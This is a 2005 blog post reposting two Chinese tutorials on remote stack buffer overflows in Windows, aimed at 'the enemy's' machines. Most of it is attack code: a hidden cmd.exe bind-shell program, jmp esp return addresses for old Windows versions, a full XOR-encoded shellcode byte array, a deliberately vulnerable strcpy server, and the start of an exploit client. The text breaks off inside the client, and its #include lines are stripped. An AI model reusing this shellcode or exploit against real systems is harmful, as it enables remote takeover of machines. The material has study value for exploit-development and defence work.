Thursday, February 17, 2005

 

Some notes on Windows buffer overflow - 2

1.
window系统下的远程堆栈溢出《原理篇》

作者:soarlove
出处:http://www.vccode.com/file_show.php?id=564

前言
我们来研究windows系统下的远程溢出方法。我们的目的是研究如何利用windows程序的溢出来进行远程攻击。如果对于windows下的缓冲区溢出不是很熟悉,请大家复习我前面的文章:《window系统下的堆栈溢出》(IsBaseMagzine 20003)。本文以及后续的《实战篇》都是建立在该文基础上的。
让我们从头开始。windows 2000 Advanced Server(Build 5.00.2195)
第一篇 《原理篇》
远程溢出算法
如何开一个远程shell呢?思路是这样的:首先使敌人的程序溢出,让他执行我们的shellcode。我们的shellcode的功能就是在敌人的机器上用某个端口开一个telnetd 服务器,然后等待客户来的连接。当客户连接上之后,为这个客户开创一个cmd.exe,把客户的输入输出和cmd.exe的输入输出联系起来,我们远程的使用者就有了一个远程shell(跟telnet一样啦)。

上面的算法我想大家都该想得到,这里面socket部分比较简单。和Unix下的基本差不多。就是加了一个WSAStartup;为客户开创一个cmd.exe,就是用CreateProcess来创建这个子进程;但是如何把客户的输入输出和cmd.exe的输出输入联系起来呢?我使用了匿名管道(Anonymous Pipe)来完成这个联系过程。管道(Pipe)是一种简单的进程间通信(IPC)机制。在Windows NT,2000,98,95下都可以使用。管道分有名和匿名两种,命名管道可以在同一台机器的不同进程间以及不同机器上的不同进程之间进行双向通信(使用UNC命名规范)。匿名管道只是在父子进程之间或者一个进程的两个子进程之间进行通信。他是单向的。匿名管道其实是通过用给了一个指定名字的有名管道来实现的。管道的最大好处在于:他可以象对普通文件一样进行操作。他的操作标示符是HANDLE,也就是说,他可以使用readFile,WriteFile函数来进行与底层实现无关的读写操作!用户根本就不必了解网络间/进程间通信的具体细节。
下面就是这个算法的C实现:
/* Telnetd.cpp By Ipxodi tested in win2000
To illustrated the method of telnetd.
Only one connection can be accept,
feel free to add select... to fit for multiple client
*/
#include
#include
int main()
{
WSADATA wsa;
SOCKET listenFD;
char Buff[1024];
int ret;
WSAStartup(MAKEWORD(2,2),&wsa);
listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(53764);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
/*
这段代码是用来建立一个Tcp Server的,我们先申请一个socketfd,使用53764(随便,多少都行)作为这个socket连接的端口,bind它,然后在这个端口上等待连接listen。程序阻塞在accept函数直到有client连接上来。
*/
SECURITY_ATTRIBUTES sa;
sa.nLength=12;sa.lpSecurityDescriptor=0;sa.bInheritHandle=true;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
/*
创建两个匿名管道。hReadPipe只能用来读管道,hWritePipe1只能用来写管道。
*/
STARTUPINFO si;ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
/*
这段代码创建了一个shell(cmd.exe),并且把cmd.exe的标准输入用第二个管道的读句柄替换。cmd.exe的标准输出和标准错误输出用第一个管道的写句柄替换。
这两个管道的逻辑示意图如下:
(父进程) read<---〔管道一〕<---write 标准输出(cmd.exe子进程)
(父进程) write--->〔管道二〕--->read 标准输入(cmd.exe子进程)
*/
unsigned long lBytesRead;
while(1) {
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if(lBytesRead) {
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0) break;
}else {
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0) break;
ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
}
}
/*
这段代码完成了客户输入和shell的交互。PeekNamedPipe用来异步的查询管道一,看看shell是否有输出。如果有就readfile读出来,并发送给客户。如果没有,就去接受客户的输入。并writefile写入管道传递给shell.这两个管道与client和server的配合逻辑图如下:
输入命令(Client) <-- send(父进程) read<--〔管道一〕<--write 标准输出(cmd.exe子进程)
获得结果(Client) recv-->(父进程)write-->〔管道二〕-->read 标准输入(cmd.exe子进程)
*/
return 0;
}

shellcode疑难问题
下面来写shellcode。针对windows系统缓冲区溢出的特殊性,shellcode有一些新的问题,我采用如下办法来解决:
1)跳转指令地址的问题
因为在函数返回的时候,esp都指向返回地址后面的地址。(为什么?因为esp在返回后要指向的地址,就是父函数在压完参数,准备执行call 子函数之前的堆栈顶。)所以,我们的shellcode的开始位置,就是函数返回的时候,esp所指向的位置。因此,使用jmp esp 就可以跳到我们的shellcode上来。当然,这里面作了一个假设,就是程序是由调用者来负责堆栈的恢复的。
汇编代码就是这个样子:
push eax;
push ebx;
push ecx;
call SubRutine
add esp,000C
但是,如果是由子程序来负责恢复堆栈,
SubRutine:
....
:010091F3 C9 leave
:010091F4 C20C00 ret 000C
esp就不是指向我们的shellcode开始位置。它将指向shellcode+0c的位置。事实上,当你在试图发现敌人程序的一个溢出点时,这个数值(这里是0C)是可以很精确的发现的,因为你可以看到他的汇编原代码呀!为了解决这种情况下shellcode不能被正确执行的问题,我们可以在shellcode前面加上0c个nop.这样,我们需要作的事情,就是用内存中一个jmp esp指令的地址,来覆盖敌人程序的返回地址。在内存中,当然有很多dll都会有jmp esp指令,我选择了kernel32.dll里面的指令,因为这kernel32.dll是系统核心DLL,加载在前面,后面的dll安装地址要随前面dll的变动而变动,为了通用性的考虑,采用KERNEL32.DLL。那么这些地址就是固定的了:
win98第二版下(4.00.2222a),返回地址为:0xbff795a3
winnt4下(4.00.1381),返回地址为:0x77f0eac3
win2000下(5.00.2195),返回地址为:0x77e2e32a
以上地址,我们可以在测试的时候使用,但是,在真正对付敌人的时候,为了区别出选择哪一个地址,就需要首先摸清敌人的操作系统以及dll版本号。jmp esp 地址如果不对,敌人的程序就会出现"无效页错误"对话框,并且一定会当掉,所以,在攻击之前,必须通过一些蛛丝马迹,判断敌人的类型。
以下是测试时候使用的代码:
#ifdef WIN2000
#define JUMPESP "\x2a\xe3\xe2\x77"
#endif
#ifdef WINNT4
#define JUMPESP "\xc3\xea\xf0\x77"
#endif
#ifdef WIN98 //2222a
#define JUMPESP "\xa3\x95\xf7\xbf"
#endif
#ifdef EXPLOIT
#define JUMPESP "敌人目标程序上的jmp esp地址。"
#endif
如果你有softice,可以直接在内存里面搜ffe4。如果没有,绿色兵团的Backend 写过一个小程序可以搜索user32.dll中的FFE4(jmp esp)串。我把他改了一下,可以搜索指定dll中的FFE4。算法如下:

/*ffe4.cpp By Backend
*/
bool we_loaded_it = false;
HINSTANCE h;
TCHAR dllname[] = _T("User32");
if(argc>1) {
strcpy(dllname,argv[1]);
}
h = GetModuleHandle(dllname);
if(h == NULL)
{
h = LoadLibrary(dllname);
if(h == NULL)
{
cout<<"ERROR LOADING DLL: "< return 1;
}
we_loaded_it = true;
}
BYTE* ptr = (BYTE*)h;
bool done = false;
for(int y = 0;!done;y++)
{
try
{
if(ptr[y] == 0xFF && ptr[y+1] == 0xE4)
{
int pos = (int)ptr + y;
cout<<"OPCODE found at 0x"< }
}
catch(...)
{
cout<<"END OF "< done = true;
}
}
if(we_loaded_it) FreeLibrary(h);

2)shellcode所使用函数的问题
在shellcode里面使用了很多win32函数,比如ReadFile,CreateProcess等等。这些函数必须加载到了敌人程序的进程空间里面后我们才能使用。 我们将攻击的敌人的远程服务程序里面并不能保证已经load了我们所需要的所有的函数。

我们希望可以作出一个平台无关的shellcode,这就必须: 不直接使用OS版本相关的函数入口地址。这是因为函数入口地址是根据OS/SP/升级的版本不同而可能不同的。

唯一的办法就是对使用的每一个win32函数,都使用LoadLibrary加载dll,用GetProcAddress函数来获得函数地址。这需要我们的shellcode里面有一个函数名表保存每一个所使用的函数的函数名,并且在shellcode执行前,调用上述两个函数一一获得这些函数的地址。

但是又有一个问题,就是LoadLibrary和GetProcAddress本身的地址怎么获得呢?我们想一想,这两个函数的作用?"取得所有其他函数的地址。" 没错,他们太重要了,每一个win32程序都要使用它们!那么,我们的目标程序呢?肯定也会有它们的。所以,在写exploit的时候,这两个函数的地址都是确定的。

如何找到这两个函数在目标程序里面的加载地址呢?它们会不会是根据敌人操作系统的不同而变化的呢?不是。这些动态加载的函数都是在目标程序里面设置了一个入口表。由目标程序自己去加载,但是他的入口表地址是固定的。

你可以使用wdasm32来搜索LoadLibrary和GetProcAddress, 可以看到它们对应的入口表地址AAAA。在shellcode里面,可以直接用call [AAAA]来引用它们。

3)shellcode里面使用的字符串问题
刚刚解决了第二个问题,就引出了第三个问题。前面提到过使用函数名表以用来动态获得函数地址。但是这些函数名字都要以\0x0结尾的!我们的shellcode最基本的一条,就是里面绝对不能含有\0x0,也不可以有回车换行\n.

解决的办法,就是先对字符串表进行编码(好吓人)处理,处理掉所有的非法字符,shellcode在使用前,由一个子程序来进行解码。

我使用的方法就是对字符串进行 xor 0x99处理。这样编解码就是一个程序了。

下面是编解码程序:
0xb1, 0xc6, /* mov cl, C6 */
0x8b, 0xc7, /* mov eax, edi */
/*Xorshellcode */ /* */
0x48, /* dec eax */
0x80, 0x30, 0x99, /* xor byte ptr [eax], 99 */
0xe2, 0xfa, /* loop Xorshellcode */

呵呵,一点都不吓人,很简单,是不是?
我们将使用的资源列表就是前面使用的所有函数,加上"cmd.exe"。具体为:

db "KERNEL32" ,0;string to push for LoadLibrary.
db "CreatePipe",0
db "GetStartupInfoA",0
db "CreateProcessA",0
db "PeekNamedPipe",0
db "GlobalAlloc",0
db "WriteFile",0
db "ReadFile",0
db "Sleep",0
db "ExitProcess",0
db "WSOCK32",0
db "socket",0
db "bind",0
db "listen",0
db "accept",0
db "send",0
db "recv",0

sockstruc STRUCT
sin_family dw 0002h
sin_port dw ?
sin_addr dd ?
sin_zero db 8 dup (0)
sockstruc ENDS

db "cmd.exe",0
dd 0ffffffffh
db 00dh, 00ah

4)shellcode的编写
将前面的C程序编译出来,提取出shellcode,然后加上前面的编解码和函数加载模块就可以了。

应用前面的设计思想,我们可以写出来shellcode如下:

unsigned char sploit[580] = {
0x90, 0x8b, 0xfc, /* mov edi,esp */
0x33, 0xc0, /* xor eax, eax */
0x50, /* push eax */
0xf7, 0xd0, /* not eax */
0x50, /* push eax */
0x59, /* pop ecx */
0xf2, /* repnz */
0xaf, /* scasd */
0x59, /* pop ecx */
0xb1, 0xc6, /* mov cl, C6 */
0x8b, 0xc7, /* mov eax, edi */
/*Xorshellcode */ /* */
0x48, /* dec eax */
0x80, 0x30, 0x99, /* xor byte ptr [eax], 99 */
0xe2, 0xfa, /* loop Xorshellcode */
0x33, 0xf6, /* xor esi, esi */
0x96, /* xchg eax,esi */
0xbb,0x99, 0xe8, 0x61, 0x42, /* mov ebx, &LoadLibrary */
0xc1, 0xeb, 0x08, /* shr ebx, 08 */
0x56, /* push esi */
0xff, 0x13, /* call dword ptr [ebx] */
0x8b, 0xd0, /* mov edx, eax */
0xfc, /* cld */
0x33, 0xc9, /* xor ecx, ecx */
0xb1, 0x0b, /* mov cl, 0B */
0x49, /* dec ecx */
/* loadKernelProcess */ /* */
0x32, 0xc0, /* xor al, al */
0xac, /* lodsb */
0x84, 0xc0, /* test al, al */
0x75, 0xf9, /* jne loadKernelProcess */
0x52, /* push edx */
0x51, /* push ecx */
0x56, /* push esi */
0x52, /* push edx */
0xb3, 0xe4, /* mov bl, e4 &GetProcAddr */
0xff, 0x13, /* call dword ptr [ebx] */
0xab, /* stosd */
0x59, /* pop ecx */
0x5a, /* pop edx */
0xe2, 0xec, /* loop loadKernelProcess */
/* */
0x32, 0xc0, /* xor al, al */
0xac, /* lodsb */
0x84, 0xc0, /* test al, al */
0x75, 0xf9, /* jne 00000176 */
0xb3, 0xe8, /* mov bl, e8 */
0x56, /* push esi */
0xff, 0x13, /* call dword ptr [ebx] */
0x8b, 0xd0, /* mov edx, eax */
0xfc, /* cld */
0x33, 0xc9, /* xor ecx, ecx */
0xb1, 0x06, /* mov cl, 06 */
/* loadSocketProcess */
0x32, 0xc0, /* xor al, al */
0xac, /* lodsb */
0x84, 0xc0, /* test al, al */
0x75, 0xf9, /* jne loadSocketProcess */
0x52, /* push edx */
0x51, /* push ecx */
0x56, /* push esi */
0x52, /* push edx */
0xb3, 0xe4, /* mov bl, e4 */
0xff, 0x13, /* call dword ptr [ebx] */
0xab, /* stosd */
0x59, /* pop ecx */
0x5a, /* pop edx */
0xe2, 0xec, /* loop loadSocketProcess */
/*
这一段代码就是前期的准备工作,它负责获得所有的函数的入口地址,这些函数是:
"KERNEL32.dll"
"CreatePipe"
"GetStartupInfoA"
"CreateProcessA"
"PeekNamedPipe"
"GlobalAlloc"
"WriteFile"
"ReadFile"
"Sleep"
"ExitProcess"

"WSOCK32.dll"
"socket"
"bind"
"listen"
"accept"
"send"
"recv"
*/
0x83, 0xc6, 0x05, /* add esi, 00000005 */
0x33, 0xc0, /* xor eax, eax */
0x50, /* push eax */
0x40, /* inc eax */
0x50, /* push eax */
0x40, /* inc eax */
0x50, /* push eax */
0xff, 0x57, 0xe8, /* call [edi-18] */
0x93, /* xchg eax,ebx */
0x6a, 0x10, /* push 00000010 */
0x56, /* push esi */
0x53, /* push ebx */
0xff, 0x57, 0xec, /* call [edi-14] */
0x6a, 0x02, /* push 00000002 */
0x53, /* push ebx */
0xff, 0x57, 0xf0, /* call [edi-10] */
0x33, 0xc0, /* xor eax, eax */
0x57, /* push edi */
0x50, /* push eax */
0xb0, 0x0c, /* mov al, 0C */
0xab, /* stosd */
0x58, /* pop eax */
0xab, /* stosd */
0x40, /* inc eax */
0xab, /* stosd */
0x5f, /* pop edi */
0x48, /* dec eax */
0x50, /* push eax */
0x57, /* push edi */
0x56, /* push esi */
0xad, /* lodsd */
0x56, /* push esi */
0xff, 0x57, 0xc0, /* call [edi-40] */
0x48, /* dec eax */
0x50, /* push eax */
0x57, /* push edi */
0xad, /* lodsd */
0x56, /* push esi */
0xad, /* lodsd */
0x56, /* push esi */
0xff, 0x57, 0xc0, /* call [edi-40] */
0x48, /* dec eax */
0xb0, 0x44, /* mov al, 44 */
0x89, 0x07, /* mov dword ptr [edi], eax */
0x57, /* push edi */
0xff, 0x57, 0xc4, /* call [edi-3C] */
0x33, 0xc0, /* xor eax, eax */
0x8b, 0x46, 0xf4, /* mov eax, dword ptr [esi-0C] */
0x89, 0x47, 0x3c, /* mov dword ptr [edi+3C], eax */
0x89, 0x47, 0x40, /* mov dword ptr [edi+40], eax */
0x8b, 0x06, /* mov eax, dword ptr [esi] */
0x89, 0x47, 0x38, /* mov dword ptr [edi+38], eax */
0x33, 0xc0, /* xor eax, eax */
0x66, 0xb8, 0x01, 0x01, /* mov ax, 0101 */
0x89, 0x47, 0x2c, /* mov dword ptr [edi+2C], eax */
0x57, /* push edi */
0x57, /* push edi */
0x33, 0xc0, /* xor eax, eax */
0x50, /* push eax */
0x50, /* push eax */
0x50, /* push eax */
0x40, /* inc eax */
0x50, /* push eax */
0x48, /* dec eax */
0x50, /* push eax */
0x50, /* push eax */
0xad, /* lodsd */
0x56, /* push esi */
0x33, 0xc0, /* xor eax, eax */
0x50, /* push eax */
0xff, 0x57, 0xc8, /* call [edi-38] */
0xff, 0x76, 0xf0, /* push [esi-10] */
0xff, 0x57, 0xcc, /* call [edi-34] */
0xff, 0x76, 0xfc, /* push [esi-04] */
0xff, 0x57, 0xcc, /* call [edi-34] */
0x48, /* dec eax */
0x50, /* push eax */
0x50, /* push eax */
0x53, /* push ebx */
0xff, 0x57, 0xf4, /* call [edi-0C] */
0x8b, 0xd8, /* mov ebx, eax */
0x33, 0xc0, /* xor eax, eax */
0xb4, 0x04, /* mov ah, 04 */
0x50, /* push eax */
0xc1, 0xe8, 0x04, /* shr eax, 04 */
0x50, /* push eax */
0xff, 0x57, 0xd4, /* call [edi-2C] */
0x8b, 0xf0, /* mov esi, eax */
/* PeekPipe: */
0x33, 0xc0, /* xor eax, eax */
0x8b, 0xc8, /* mov ecx, eax */
0xb5, 0x04, /* mov ch, 04 */
0x50, /* push eax */
0x50, /* push eax */
0x57, /* push edi */
0x51, /* push ecx */
0x56, /* push esi */
0xff, 0x77, 0xa8, /* push [edi-58] */
0xff, 0x57, 0xd0, /* call [edi-30] */
0x83, 0x3f, 0x01, /* cmp dword ptr [edi], 0000000*/
0x7c, 0x22, /* jl GetUserInput */
0x33, 0xc0, /* xor eax, eax */
0x50, /* push eax */
0x57, /* push edi */
0xff, 0x37, /* push dword ptr [edi] */
0x56, /* push esi */
0xff, 0x77, 0xa8, /* push [edi-58] */
0xff, 0x57, 0xdc, /* call [edi-24] */
0x0b, 0xc0, /* or eax, eax */
0x74, 0x2f, /* je GameOver */
0x33, 0xc0, /* xor eax, eax */
0x50, /* push eax */
0xff, 0x37, /* push dword ptr [edi] */
0x56, /* push esi */
0x53, /* push ebx */
0xff, 0x57, 0xf8, /* call [edi-08] */
0x6a, 0x50, /* push 00000050 */
0xff, 0x57, 0xe0, /* call [edi-20] */
0xeb, 0xc8, /* jmp PeekPipe */
/* GetUserInput: */
0x33, 0xc0, /* xor eax, eax */
0x50, /* push eax */
0xb4, 0x04, /* mov ah, 04 */
0x56, /* push esi */
0x53, /* push ebx */
0xff, 0x57, 0xfc, /* call [edi-04] */
0x57, /* push edi */
0x33, 0xc9, /* xor ecx, ecx */
0x51, /* push ecx */
0x50, /* push eax */
0x56, /* push esi */
0xff, 0x77, 0xac, /* push [edi-54] */
0xff, 0x57, 0xd8, /* call [edi-28] */
0x6a, 0x50, /* push 00000050 */
0xff, 0x57, 0xe0, /* call [edi-20] */
/* GameOver: */
0xeb, 0xaa, /* jmp PeekPipe */
0x50, /* push eax */
0xff, 0x57, 0xe4, /* call [edi-1C] */
0x90, /* nop */
/*
这里的长长代码就是那段C语言的算法,我的注释很详细,就不多说了
*/
0xd2, 0xdc, 0xcb, 0xd7, 0xdc, 0xd5, 0xaa, 0xab, 0x99,
0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde,
0xfc, 0xed, 0xca, 0xed, 0xf8, 0xeb, 0xed, 0xec, 0xe9, 0xd0, 0xf7, 0xff,
0xf6, 0xd8, 0x99, 0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xeb, 0xf6,
0xfa, 0xfc, 0xea, 0xea, 0xd8, 0x99, 0xda, 0xf5, 0xf6, 0xea, 0xfc, 0xd1,
0xf8, 0xf7, 0xfd, 0xf5, 0xfc, 0x99, 0xc9, 0xfc, 0xfc, 0xf2, 0xd7, 0xf8,
0xf4, 0xfc, 0xfd, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xf5, 0xf6, 0xfb,
0xf8, 0xf5, 0xd8, 0xf5, 0xf5, 0xf6, 0xfa, 0x99, 0xce, 0xeb, 0xf0, 0xed,
0xfc, 0xdf, 0xf0, 0xf5, 0xfc, 0x99, 0xcb, 0xfc, 0xf8, 0xfd, 0xdf, 0xf0,
0xf5, 0xfc, 0x99, 0xca, 0xf5, 0xfc, 0xfc, 0xe9, 0x99, 0xdc, 0xe1, 0xf0,
0xed, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0x99, 0xce, 0xca, 0xd6,
0xda, 0xd2, 0xaa, 0xab, 0x99, 0xae, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0x99,
0xfb, 0xf0, 0xf7, 0xfd, 0x99, 0xf5, 0xf0, 0xea, 0xed, 0xfc, 0xf7, 0x99,
0xf8, 0xfa, 0xfa, 0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd, 0x99,
0xeb, 0xfc, 0xfa, 0xef, 0x99, 0x9b, 0x99,
0x4b, 0x9d, // word value for bind port, 4b9d xor 9999h=53764
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0xfa, 0xf4, 0xfd, 0xb7, 0xfc, 0xe1, 0xfc, 0x99, 0xff, 0xff, 0xff, 0xff,
0x0d, 0x0a};
/*
这些就是那个字符串表,已经经过了编码。
*/

2.
window系统下的远程堆栈溢出《实战篇》

作者:soarlove
出处:http://www.vccode.com/file_show.php?id=565

下面是一个有问题的internet服务程序:
/* server.cpp By Ipxodi */

#include
#include
char Buff[1024];
void overflow(char * s,int size)
{
char s1[50];
printf("receive %d bytes",size);
s[size]=0;
strcpy(s1,s);
}

int main()
{
WSADATA wsa;
SOCKET listenFD;
int ret;
char asd[2048];

WSAStartup(MAKEWORD(2,2),&wsa);

listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

struct sockaddr_in server;

server.sin_family = AF_INET;
server.sin_port = htons(3764);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);

int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
unsigned long lBytesRead;
while(1) {
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0) break;

overflow(Buff,lBytesRead);

ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0) break;

}
WSACleanup();
return 0;
}

函数Overflow有问题,看到了吗?

好,现在我们来写溢出攻击程序:

1)先算一下溢出(返回)地址应该在哪里?
(:啊?算出?你上次不是用程序试吗?我好不容易才看懂你的算法,这次怎么不用了?:唉,老兄,上次是没有敌人的原代码,懒得看汇编,才会试,现在原代码就放在你眼前,你自己算一下不就出来了?)

下面是溢出时刻堆栈布局:
内存底部 内存顶部
buffer EBP ret
<------ [NNNNNNNNNNN][N ] [A ]SSSS
^&buffer
堆栈顶部 堆栈底部

可以看到,buffer我们开的是50,32位系统针对数组进行四位对齐,所以实际缓冲区是52,加上EBP占去4个字节,就是52+4=56,那么,ret就是第56字节了。

2)再看看server里面LoadLibrary和GetProcAddress的地址是什么?启动wdasm32,加载server.exe

:004028EC 68F0014200 push 004201F0

* Reference To: KERNEL32.LoadLibraryA, Ord:01C2h
|
:004028F1 FF15E8614200 Call dword ptr [004261E8]

好,KERNEL32.LoadLibraryA(就是LoadLibrary的别名)的入口地址:0x004261E8。

:00402911 51 push ecx

* Reference To: KERNEL32.GetProcAddress, Ord:013Eh
|
:00402912 FF15E4614200 Call dword ptr [004261E4]

好,KERNEL32.GetProcAddress的入口地址:0x004261E4。

这两个地址都有00,我们不能直接在shellcode里面引用,因此采用如下变通方案:
0xbb,0x99, 0xe8, 0x61, 0x42, /* mov ebx, 004261E8h;(&LoadLibrary) */
0xc1, 0xeb, 0x08, /* shr ebx, 08 */
以及
0xb3, 0xe4, /* mov bl, e4 &GetProcAddr */

3)写出client:
/* client.cpp By Ipxodi */

#include
#include
#define WIN2000

#ifdef WIN2000
#define JUMPESP "\x2a\xe3\xe2\x77"
#endif
#ifdef WIN98
#define JUMPESP "\xa3\x95\xf7\xbf"
#endif

unsigned char eip[8] = JUMPESP;
unsigned char sploit[580] = {
0x90, 0x8b, 0xfc,
0x33, 0xc0, 0x50, 0xf7, 0xd0, 0x50, 0x59, 0xf2, 0xaf, 0x59, 0xb1, 0xc6,
0x8b, 0xc7, 0x48, 0x80, 0x30, 0x99, 0xe2, 0xfa, 0x33, 0xf6, 0x96, 0xbb,
0x99, 0xe8, 0x61, 0x42, 0xc1, 0xeb, 0x08, 0x56, 0xff, 0x13, 0x8b, 0xd0,
0xfc, 0x33, 0xc9, 0xb1, 0x0b, 0x49, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75,
0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0xe4, 0xff, 0x13, 0xab, 0x59, 0x5a,
0xe2, 0xec, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75, 0xf9, 0xb3, 0xe8, 0x56,
0xff, 0x13, 0x8b, 0xd0, 0xfc, 0x33, 0xc9, 0xb1, 0x06, 0x32, 0xc0, 0xac,
0x84, 0xc0, 0x75, 0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0xe4, 0xff, 0x13,
0xab, 0x59, 0x5a, 0xe2, 0xec, 0x83, 0xc6, 0x05, 0x33, 0xc0, 0x50, 0x40,
0x50, 0x40, 0x50, 0xff, 0x57, 0xe8, 0x93, 0x6a, 0x10, 0x56, 0x53, 0xff,
0x57, 0xec, 0x6a, 0x02, 0x53, 0xff, 0x57, 0xf0, 0x33, 0xc0, 0x57, 0x50,
0xb0, 0x0c, 0xab, 0x58, 0xab, 0x40, 0xab, 0x5f, 0x48, 0x50, 0x57, 0x56,
0xad, 0x56, 0xff, 0x57, 0xc0, 0x48, 0x50, 0x57, 0xad, 0x56, 0xad, 0x56,
0xff, 0x57, 0xc0, 0x48, 0xb0, 0x44, 0x89, 0x07, 0x57, 0xff, 0x57, 0xc4,
0x33, 0xc0, 0x8b, 0x46, 0xf4, 0x89, 0x47, 0x3c, 0x89, 0x47, 0x40, 0x8b,
0x06, 0x89, 0x47, 0x38, 0x33, 0xc0, 0x66, 0xb8, 0x01, 0x01, 0x89, 0x47,
0x2c, 0x57, 0x57, 0x33, 0xc0, 0x50, 0x50, 0x50, 0x40, 0x50, 0x48, 0x50,
0x50, 0xad, 0x56, 0x33, 0xc0, 0x50, 0xff, 0x57, 0xc8, 0xff, 0x76, 0xf0,
0xff, 0x57, 0xcc, 0xff, 0x76, 0xfc, 0xff, 0x57, 0xcc, 0x48, 0x50, 0x50,
0x53, 0xff, 0x57, 0xf4, 0x8b, 0xd8, 0x33, 0xc0, 0xb4, 0x04, 0x50, 0xc1,
0xe8, 0x04, 0x50, 0xff, 0x57, 0xd4, 0x8b, 0xf0, 0x33, 0xc0, 0x8b, 0xc8,
0xb5, 0x04, 0x50, 0x50, 0x57, 0x51, 0x56, 0xff, 0x77, 0xa8, 0xff, 0x57,
0xd0, 0x83, 0x3f, 0x01, 0x7c, 0x22, 0x33, 0xc0, 0x50, 0x57, 0xff, 0x37,
0x56, 0xff, 0x77, 0xa8, 0xff, 0x57, 0xdc, 0x0b, 0xc0, 0x74, 0x2f, 0x33,
0xc0, 0x50, 0xff, 0x37, 0x56, 0x53, 0xff, 0x57, 0xf8, 0x6a, 0x50, 0xff,
0x57, 0xe0, 0xeb, 0xc8, 0x33, 0xc0, 0x50, 0xb4, 0x04, 0x50, 0x56, 0x53,
0xff, 0x57, 0xfc, 0x57, 0x33, 0xc9, 0x51, 0x50, 0x56, 0xff, 0x77, 0xac,
0xff, 0x57, 0xd8, 0x6a, 0x50, 0xff, 0x57, 0xe0, 0xeb, 0xaa, 0x50, 0xff,
0x57, 0xe4, 0x90, 0xd2, 0xdc, 0xcb, 0xd7, 0xdc, 0xd5, 0xaa, 0xab, 0x99,
0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde,
0xfc, 0xed, 0xca, 0xed, 0xf8, 0xeb, 0xed, 0xec, 0xe9, 0xd0, 0xf7, 0xff,
0xf6, 0xd8, 0x99, 0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xeb, 0xf6,
0xfa, 0xfc, 0xea, 0xea, 0xd8, 0x99, 0xda, 0xf5, 0xf6, 0xea, 0xfc, 0xd1,
0xf8, 0xf7, 0xfd, 0xf5, 0xfc, 0x99, 0xc9, 0xfc, 0xfc, 0xf2, 0xd7, 0xf8,
0xf4, 0xfc, 0xfd, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xf5, 0xf6, 0xfb,
0xf8, 0xf5, 0xd8, 0xf5, 0xf5, 0xf6, 0xfa, 0x99, 0xce, 0xeb, 0xf0, 0xed,
0xfc, 0xdf, 0xf0, 0xf5, 0xfc, 0x99, 0xcb, 0xfc, 0xf8, 0xfd, 0xdf, 0xf0,
0xf5, 0xfc, 0x99, 0xca, 0xf5, 0xfc, 0xfc, 0xe9, 0x99, 0xdc, 0xe1, 0xf0,
0xed, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0x99, 0xce, 0xca, 0xd6,
0xda, 0xd2, 0xaa, 0xab, 0x99, 0xea, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0x99,
0xfb, 0xf0, 0xf7, 0xfd, 0x99, 0xf5, 0xf0, 0xea, 0xed, 0xfc, 0xf7, 0x99,
0xf8, 0xfa, 0xfa, 0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd, 0x99,
0xeb, 0xfc, 0xfa, 0xef, 0x99, 0x9b, 0x99,
0x4b, 0x9d, //port=53764
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0xfa, 0xf4, 0xfd, 0xb7, 0xfc, 0xe1, 0xfc, 0x99, 0xff, 0xff, 0xff, 0xff,
0x0d, 0x0a};
int main()
{
WSADATA wsa;
SOCKET sockFD;
char Buff[1024],*sBO;

WSAStartup(MAKEWORD(2,2),&wsa);

sockFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

struct sockaddr_in server;

